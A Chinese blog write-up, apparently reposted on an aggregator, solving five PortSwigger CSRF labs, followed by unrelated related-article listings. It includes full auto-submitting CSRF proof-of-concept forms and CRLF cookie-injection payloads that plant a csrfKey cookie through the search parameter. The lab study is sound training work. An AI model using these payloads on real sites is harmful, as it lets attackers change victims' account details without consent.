web安全之CSRF漏洞——苦日7小时

news2025/1/23 15:06:02

CSRF_exercise

CSRF(Cross-Site Request Forgery)攻击,也称为“跨站请求伪造”攻击,是一种利用用户已登录的身份在用户不知情的情况下,向服务器发送恶意请求的攻击方式。攻击者可以通过构造一些针对被攻击网站的特定请求,然后引导用户点击恶意链接或者访问恶意网站,从而实现对被攻击网站的攻击。

攻击的原理是攻击者构造一个恶意网站,当用户访问恶意网站时,网站会向被攻击网站发送请求,因为用户在被攻击网站已经登录,所以被攻击网站会认为这个请求是合法的,然后执行该请求,从而导致攻击成功。

为了防止 CSRF 攻击,常见的防御措施包括在请求中添加 token 验证、检查 Referer 头部等。其中,token 验证是最常用的防御措施,其原理是在用户登录时生成一个 token,每次用户发起请求时,将该 token 与请求一起提交,服务器端会校验 token 的合法性,如果不合法则拒绝该请求。这样攻击者无法构造一个合法的 token,从而避免了 CSRF 攻击。

一、因没有设置CSRF防御引起的攻击

lab1:CSRF vulnerability with no defenses

地址:https://portswigger.net/web-security/csrf/lab-no-defenses

image.png

按实验给定的账号密码登入:

image.png

image.png

抓上面这个页面的包

image.png

在这个页面构造CSRF_POC

image.png

image.png

image.png

生成一个html文件发送并点击

image.png

成功修改邮箱。

image.png

image.png

二、token处引起的CSRF

lab2.CSRF where token validation depends on request method

核心在于:其中令牌验证(token)取决于请求方法

首先登入

image.png

抓取该页面的包

image.png

改传参方式+去掉token(csrf字段)即可

image.png

生成csrf POC

image.png

image.png

image.png

lab3.CSRF,其中令牌验证取决于令牌的存在

链接如上;

某些应用程序在存在时正确验证令牌,但如果省略令牌,则会跳过验证。

在这种情况下,攻击者 可以删除包含令牌 (不仅仅是其值)的整个参数,以绕过验证并提供CSRF攻击
简单粗暴了属于是;

  • 和上述实验一样
  • 删掉Token看看响应包
  • 然后生成html发给用户

抓包:

image.png

去掉token发送

image.png

生成POC

image.pngimage.png

lab4、CSRF Token 未与用户会话绑定

有的应用系统仅会验证CSRF Token的有效性,而 不会验证该Token是否属于当前用户 ,即不会与用户会话绑定

  • 用carlos登录改邮箱时抓包记录token
  • drop掉!!

image.png

留住token:8LEbPyKEA5Rpf0IpklVArWZf81YtTWdB不要用掉,把包

  • 登录wiener抓包 发给repeater,然后要把包drop掉,把token改成刚刚记录的carlos的

修改前:(注意token)

image.png

修改后:(换成没有用的token)

image.png

成功

image.png

lab5、CSRF where token is tied to non-session cookie

token绑定了非对话session

大概意思就是说当前token并未与当前用户的session绑定在一起

  • 登录并更改邮件,在历史中查看
  • 发送到repeater
  • 更改session,用户被退出
  • 更改csrfkey, CSRF token being rejected
  • 两个不同的结果对比:可能 csrf cookie不与session绑定
  • 证明一下登录另一个用户,使用第一个用户的csrfkey和token,OK的
  • 在repeater中search可以看到回显在Set-cookie头部,可以将cookie注入在受害者的浏览器/?search=test%0d%0aSet-Cookie:%20csrfKey=1cHUxuOlfWrNhJMApSRjDYXAaPCtVMnC

1、分析token

抓一个修改邮箱地址的包,可以看到有token,

在repeter中发送了两下,发现token是可以重复利用的。

image.png

image.png

image.png

image.png

并且又发现 在cookie中有一个csrfKey的东西,猜测是token(csrf)与它绑定着。

接下来就要分析

:::success

2、分析token与csrfKey Cookie的关系

提交一个错误的CSRFtoken(只修改csrf,但发现400)

image.png

提交一个来自其他用户的CSRFtoken (判断token与CSRFKey Cookeies的关系。是否绑定在一起,类似于上一关的验证方法)

登录calous的账号抓这个页面的改邮箱包

image.pngimage.png

替换csrf参数(即token)发包,失败

image.png

这里其实就说明csrfkey与csrf参数(token)绑定的,但是保险起见再去试试只替换csrfkey,不出所料的失败了;

image.png

(通过这些步骤发现token与csrfkey绑定在一起的)

3、把俩都改掉!

:::success

image.png

现在我们的整体思路就是

1、在被攻击的浏览器中插入一个http Cookie:csrfKey 。它的值就是我们已知A用户的就行。

2、将csrfpoc发送给被攻击者,即可成功。

注意:csrfKey和token 必须为一对!!!

4、修改Cookie中的Lastsearch与csrfKEY(要与当前用户的csrftoken绑定在一起)

现在已经知道了,csrfKey和token是一对的,所以我们要向被攻击者的浏览器去修改csrfkey的Cookie。

通过查询功能可以看出,当查询一个东西时,会向当前页面插入一个cookie,此时是否可以通过修改抓包,修改包,将我们的csrfKey Cookie插入到浏览器中。

image.png

通过抓包、可以看出在 search后的hat和Set-Cookie彷佛有着联系。

image.png

将自己的csrf和csrfkey注入到对方的浏览器中.

通过在首页搜索发现,搜索东西时会带有csrfkey

通过这段payload

/?search=hat%0b%0aSet-Cookie:%20csrfKey=值

即可成功修改csrfKey

/?search=hat%0b%0aSet-Cookie:%20csrfKey=6mI6iSJ9eynrv3S9qPYLO8XSnEkxB6Zc;

image.png

此时要理清的是,这能运行是因为我们执行了一个url进行了一段数据的查询,修改了一段url使其结果朝着我们想要的方向发展。

只要访问这段连接即可修改cookie

:::success

image.png

image.png

image.png

4、生成CSRF_POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0aa5008c03fca791812f5728002a0014.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="123456789@111" />
      <input type="hidden" name="csrf" value="OVSYJmOpsf83PU9wyI0LvBU7eAgnLeF3" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
<img src="https://0aa5008c03fca791812f5728002a0014.web-security-academy.net/?search=hat%0d%0aSet-Cookie:%20csrfKey=aoDGGZ2dviohZ9cBbLlejpaDeNczuyGr%3b%20SameSite=None" onerror="document.forms[0].submit()">
</html>

访问即可修改邮箱触发csrf;


5、最后梳理一下

1、猜想:

要想有CSRF漏洞,那么必须得参数可控,如果 csrf , csrfKey , session 三者互相绑定在一起,那么就没戏.
如果csrf和csrfkey是互相绑定的,但是session没有和他们绑定,那就相当于靶场4,一样可以绕过.

2、测试csrfKey和csrf是否绑定.

思路:使用B账号的csrfkey和A账号的csrf值进行测试,如果成功修改了邮箱,说明csrfkey和csrf未绑定,反之则绑定了.

测试账号B时发现csrfKey和csrf可以多次使用

现在将账号B中的csrfkey替换为A的=====》不行

现在将账号B中的csrf替换为A的=====》不行

现在将账号B中的csrf和csrfkey全部替换为A的=====》成功

image.png

说明session没有和csrf,csrfkey绑定,可以利用该缺陷进行csrf攻击,因为已经满足条件,csrf和csrfkey自己便可以生成.

3、将自己的csrf和csrfkey注入到对方的浏览器中.

通过在首页搜索发现,搜索东西时会带有csrfkey

因此我们可以利用搜索栏搜索时顺带注入csrfkey(本用户的删不删都行,最好删掉,因为这个靶场可以覆盖)

我们可以使用如下payload将其替换为自己的csrfkey

/?search=test%0d%0aSet-Cookie:%20csrfKey=xxx

image.png

4、构造POC

接下来登录A的账号在修改邮箱页面构造出如下所示的poc

image.png

这个页面只有session是原先A的,csrfkey通过cookie注入进去了,csrf通过改包放进去了

一个误点:为什么不把csrfkey和csrf直接在包里改掉?
因为:1.莫名其妙的触发不出来;	2、csrf通过cookie注入既可以注入到cookie也可以触发onerror事件标签,一举两得。
POC
<img src="https://xxx.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=GwWIachNBZVlLaGvsiEv4Fs9rPXe6IBN%3b%20SameSite=None" onerror="document.forms[0].submit()">

疑问

改了csrfkey和csrf后构造了不存在的链接(https://0a1600ad046bbf2687f3973d00c20013.web-security-academy.net/?search=ddosi.org%0d%0a&sdha=sakdjasldhscxh54645)发现还是不行

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a1600ad046bbf2687f3973d00c20013.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="123456789@111" />
      <input type="hidden" name="csrf" value="NSkTHaqdXDpM1pO7wmqIadg8T5prC44z" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
<img src="https://0a1600ad046bbf2687f3973d00c20013.web-security-academy.net/?search=ddosi.org%0d%0a&sdha=sakdjasldhscxh54645" onerror="document.forms[0].submit()">
</html>

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/521816.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无锁化栈、队列深入解析及实现

首先声明&#xff0c;本文探讨实现的无锁化栈、队列皆是通过CAS硬件原语实现&#xff0c;且没有解决ABA问题。 之前比赛一直有看到无锁化编程优化部分&#xff0c;但一直没有实践过&#xff0c;(这里主要是使用的CAS,当然lock-free实现其实有好几种&#xff0c;这取决于具体的…

Django006:ModelForm组件

大家好&#xff0c;我是csdn的博主&#xff1a;lqj_本人 这是我的个人博客主页&#xff1a; lqj_本人的博客_CSDN博客-微信小程序,前端,python领域博主lqj_本人擅长微信小程序,前端,python,等方面的知识https://blog.csdn.net/lbcyllqj?spm1011.2415.3001.5343哔哩哔哩欢迎关注…

SpringBoot @Async异步线程 + CompletableFuture使用

参考资料 SpringBoot 最简单的使用异步线程案例 AsyncSpringboot Async异步扩展使用 结合 CompletableFuture 目录 一. 配置线程池二. 耗时任务1三. 耗时任务2四. 调用 一. 配置线程池 当池子大小小于corePoolSize&#xff0c;就新建线程&#xff0c;并处理请求当池子大小等于…

[golang gin框架] 31.Gin 商城项目- 提交订单逻辑操作以及去支付页面制作

一.界面展示 确认订单页面 确认订单页面相关逻辑见 golang gin框架] 30.Gin 商城项目- 购物车商品确认页面以及收货地址的增删改查 点击 去支付按钮逻辑: (1).判断用户是否存在地址,不存在则新增并设置为默认地址 (2).点击去支付,请求提交订单执行结算操作: 订单执行结算操作步…

C语言-【移位操作符详解】

这篇文章主要介绍了C语言中移位操作符&#xff0c;文章中通过详细的代码以及有关计算机中零碎的知识点对移位操作符进行了一个更好的解释&#xff0c;需要的小伙伴们可以一起学习学习吖&#xff5e; 移位操作符:移动的是补码的二进制序列。 在C语言当中&#xff0c;有两种移位…

English Learning - L3 作业打卡 Lesson2 Day8 2023.5.12 周五

English Learning - L3 作业打卡 Lesson2 Day8 2023.5.12 周五 引言&#x1f349;句1: The color green is natural for trees and grass.成分划分弱读语调 &#x1f349;句2: But it is an unnatural color for humans.成分划分弱读连读语调 &#x1f349;句3: A person who h…

React | React组件化开发(二)

✨ 个人主页&#xff1a;CoderHing &#x1f5a5;️ React .js专栏&#xff1a;React .js React组件化开发(二) &#x1f64b;‍♂️ 个人简介&#xff1a;一个不甘平庸的平凡人&#x1f36c; &#x1f4ab; 系列专栏&#xff1a;吊打面试官系列 16天学会Vue 11天学会React …

【TOP生物信息】使用SingleR注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1887字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; SingleR基本介绍 SingleR包安装 SingleR包使用 1.使用已有的参考数据集进行细胞定义2.使用自定…

NAS内网穿透

3)可用方法1&#xff1a;Tailscale&#xff08;免费&#xff09; Tailscale 是一种基于 WireGuard 的虚拟组网工具 下面教大家安装&#xff1a; 镜像仓库搜索&#xff1a;tailscale&#xff0c;就是第一个 下载之后安装配置注意&#xff1a; 1&#xff09;要把权限全部打开…

C++游戏服务器框架笔记(四)_封装Select

C游戏服务器框架笔记(一)_封装数据包类 C游戏服务器框架笔记(二)_封装Socket类 C游戏服务器框架笔记(三)_封装ByteBuffer类 C游戏服务器框架笔记(四)_封装Select 因为设想的次系列服务器主要应用场景是linux系统下&#xff0c;支持Windows系统是为了更好的调试和开发&#x…

【sqlite】联查Join更新

系列文章 C#底层库–MySQLBuilder脚本构建类&#xff08;select、insert、update、in、带条件的SQL自动生成&#xff09; 本文链接&#xff1a;https://blog.csdn.net/youcheng_ge/article/details/129179216 C#底层库–MySQL数据库操作辅助类&#xff08;推荐阅读&#xff0…

虚拟化技术 — 虚拟机迁移

目录 文章目录 目录Libvirt 的 Live Migration(热迁移)网络数据传输层控制层Pre-Copy Live MigrationLibvirt 的 Live Migration(热迁移) Libvirt 的 Live Migration 主要分为 “数据“ 和 “控制“ 这两个层面的内容。 网络数据传输层 基于 Hypervisor 的传输:两个 Hyp…

MiniGPT-4 笔记

目录 简介 实现方法 效果及局限 参考资料 简介 MiniGPT-4 是前段时间由KAUST&#xff08;沙特阿卜杜拉国王科技大学&#xff09;开源的多模态大模型&#xff0c;去网站上体验了一下功能&#xff0c;把论文粗略的看了一遍&#xff0c;也做个记录。 论文摘要翻译&#xff1…

【图】DFS、BFS遍历

图有两种遍历方式&#xff1a;DFS深度优先&#xff0c;BFS广度优先。 把所有顶点访问一遍&#xff0c;且每个顶点只访问一次&#xff0c;把走过的顶点标记一下。 标记&#xff1a;为图设置一个访问标志数组visited[n&#xff3d;&#xff0c;用于标示图中每个顶点是否被访问过…

C++引用()笔记

C引用(&)笔记 1.寄存器一般只有4/8个字节&#xff0c;所以返回时候的中间变量(下图的临时变量)不一定是储存在寄存器当中 2.传引用返回可以减少拷贝&#xff0c;增加效率 但运行打印会出错的&#xff0c;因为当栈帧销毁的时候&#xff0c;清理栈帧就会得到随机值 正确表达…

西宾蜻蜓FM语音下载(qingtingdown)

一、介绍 西宾蜻蜓FM语音下载&#xff08;qingtingdown&#xff09;&#xff0c;能够帮助你下载蜻蜓FM音频节目。如果你是蜻蜓FM会员&#xff0c;它还能帮你下载会员节目。 二、下载地址 本站下载&#xff1a;西宾蜻蜓FM语音下载&#xff08;qingtingdown&#xff09; 百度…

PSP - AlphaFold2 适配不同来源搜索的 MSA 接口

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://blog.csdn.net/caroline_wendy/article/details/130594303 MSA (Multiple Sequence Alignment) 在 AlphaFold2 中的工作方式如下: 使用搜索工具 (hhblits/hhsearch/jackhmmer),从大型数据库中,搜索与目标…

从零开始学习JVM(二)--类加载子系统

1. 类加载子系统介绍 JVM内存结构如下图所示&#xff1a; 程序计数器&#xff08;PC寄存器&#xff09;&#xff1a;程序计数器是⼀块⼩的内存空间&#xff0c;可以看作是当前线程所执⾏的字节码的⾏号指示器。字节码解释器⼯作时通过改变这个计数器的值来选取下⼀条需要执⾏…

PyTorch读取数据集全部进内存,使网络的训练速度提高10倍以上!!!

正常情况下&#xff0c;torch读取数据的时候是Batch Size小批量读取。首先找到所有数据集的路径保持到一个变量中&#xff0c;之后需要读取哪个数据的时候&#xff0c;就根据这个变量中的路径索引去读取。因为硬件的限制&#xff0c;从硬盘中读取数据到显存中所花的时间要远远大…

计算机体系结构实验一

计算机体系结构实验一 一.实验目的 ​理解RISC-V的指令执行的数据流和控制信号&#xff0c;熟悉指令流水线的工作过程。 二.实验过程 1.RISC-V的相关指令 实验的模拟器使用RISC-V指令集&#xff0c;为了便于后续分析&#xff0c;首先学习实验中使用的RISC-V指令。 基本RIS…